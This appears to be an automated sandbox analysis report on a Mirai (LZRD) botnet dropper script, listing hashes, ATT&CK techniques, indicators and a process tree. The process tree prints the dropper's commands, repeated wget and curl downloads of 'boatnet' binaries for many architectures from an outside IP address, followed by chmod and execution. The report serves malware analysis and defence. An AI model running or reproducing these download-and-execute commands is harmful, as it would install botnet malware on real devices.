mirai | f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22-01-2025 05:59

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General

Target

ohshit.sh
Size

2KB
MD5

a04231d2572fe53296e84de33494e755
SHA1

858cf66fac781dde0b6be798bec7976b36d91826
SHA256

f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff
SHA512

3f3405f3c6a3977d5445fa9595aeaba7e8531882a3d681a28e4ddb13777241765e7ffdbc329e2587ba70c97017fd65eae2376e5ce6ea54a4404d4ac92e0ccb96

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1519	chmod
1568	chmod
1528	chmod
1560	chmod
1584	chmod
1616	chmod
1511	chmod
1576	chmod
1592	chmod
1600	chmod
1608	chmod
1624	chmod
1536	chmod
1544	chmod
1552	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1512	WTF
/tmp/WTF	1520	WTF
/tmp/WTF	1529	WTF
/tmp/WTF	1537	WTF
/tmp/WTF	1545	WTF
/tmp/WTF	1553	WTF
/tmp/WTF	1561	WTF
/tmp/WTF	1569	WTF
/tmp/WTF	1577	WTF
/tmp/WTF	1585	WTF
/tmp/WTF	1593	WTF
/tmp/WTF	1601	WTF
/tmp/WTF	1609	WTF
/tmp/WTF	1617	WTF
/tmp/WTF	1625	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1058/cmdline	WTF
File opened for reading	/proc/452/cmdline	WTF
File opened for reading	/proc/1158/cmdline	WTF
File opened for reading	/proc/707/cmdline	WTF
File opened for reading	/proc/1025/cmdline	WTF
File opened for reading	/proc/1499/cmdline	WTF
File opened for reading	/proc/1604/cmdline	WTF
File opened for reading	/proc/1540/cmdline	WTF
File opened for reading	/proc/1185/cmdline	WTF
File opened for reading	/proc/1473/cmdline	WTF
File opened for reading	/proc/452/cmdline	WTF
File opened for reading	/proc/1082/cmdline	WTF
File opened for reading	/proc/1222/cmdline	WTF
File opened for reading	/proc/1572/cmdline	WTF
File opened for reading	/proc/1158/cmdline	WTF
File opened for reading	/proc/598/cmdline	WTF
File opened for reading	/proc/673/cmdline	WTF
File opened for reading	/proc/1502/cmdline	WTF
File opened for reading	/proc/1499/cmdline	WTF
File opened for reading	/proc/1618/cmdline	WTF
File opened for reading	/proc/1554/cmdline	WTF
File opened for reading	/proc/469/cmdline	WTF
File opened for reading	/proc/1556/cmdline	WTF
File opened for reading	/proc/1572/cmdline	WTF
File opened for reading	/proc/1572/cmdline	WTF
File opened for reading	/proc/1649/cmdline	WTF
File opened for reading	/proc/439/cmdline	WTF
File opened for reading	/proc/1501/cmdline	WTF
File opened for reading	/proc/1377/cmdline	WTF
File opened for reading	/proc/665/cmdline	WTF
File opened for reading	/proc/1588/cmdline	WTF
File opened for reading	/proc/1014/cmdline	WTF
File opened for reading	/proc/1316/cmdline	WTF
File opened for reading	/proc/598/cmdline	WTF
File opened for reading	/proc/1166/cmdline	WTF
File opened for reading	/proc/1039/cmdline	WTF
File opened for reading	/proc/1339/cmdline	WTF
File opened for reading	/proc/680/cmdline	WTF
File opened for reading	/proc/1507/cmdline	WTF
File opened for reading	/proc/903/cmdline	WTF
File opened for reading	/proc/1350/cmdline	WTF
File opened for reading	/proc/944/cmdline	WTF
File opened for reading	/proc/439/cmdline	WTF
File opened for reading	/proc/965/cmdline	WTF
File opened for reading	/proc/1316/cmdline	WTF
File opened for reading	/proc/1562/cmdline	WTF
File opened for reading	/proc/1166/cmdline	WTF
File opened for reading	/proc/632/cmdline	WTF
File opened for reading	/proc/1612/cmdline	WTF
File opened for reading	/proc/1192/cmdline	WTF
File opened for reading	/proc/1604/cmdline	WTF
File opened for reading	/proc/1148/cmdline	WTF
File opened for reading	/proc/1039/cmdline	WTF
File opened for reading	/proc/465/cmdline	WTF
File opened for reading	/proc/1148/cmdline	WTF
File opened for reading	/proc/1045/cmdline	WTF
File opened for reading	/proc/530/cmdline	WTF
File opened for reading	/proc/1148/cmdline	WTF
File opened for reading	/proc/965/cmdline	WTF
File opened for reading	/proc/1282/cmdline	WTF
File opened for reading	/proc/955/cmdline	WTF
File opened for reading	/proc/519/cmdline	WTF
File opened for reading	/proc/1655/cmdline	WTF
File opened for reading	/proc/518/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1516	wget
1517	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm7	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1504
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1505
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1510
- /bin/chmod
  chmod +x boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1512
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1520
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1524
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1529
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.i468
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1537
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.i686
  2⤵
  PID:1541
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1545
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.x86_64
  2⤵
  PID:1549
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1553
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1557
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1561
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1565
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1569
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1573
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1574
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1577
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1581
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1582
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1585
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1589
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1593
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1597
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1598
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1601
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1605
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1606
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1609
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1613
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1614
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1616
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1617
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1621
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1622
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xTetUE netplan_ey82z6ny ohshit.sh snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-LRenHf WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1624
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1625

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
911aa101a1f5c919712ab954d0dfaa3f

SHA1
6778ae6880057cbcebe3a593ee3115ae7eae2847

SHA256
30d62335e710f94be1996bf37c15f8c410e493c1c9d10cc7420f736778dc3c41

SHA512
981aee28346bcf9af048979ddf305a2483fe2e93d6b3f8dd07fa5793aea9c5b9a8e300b2c6368a5b5c6b7b2205cca4f5b9ea7ab22e191f0854e7bd7e093e9c33

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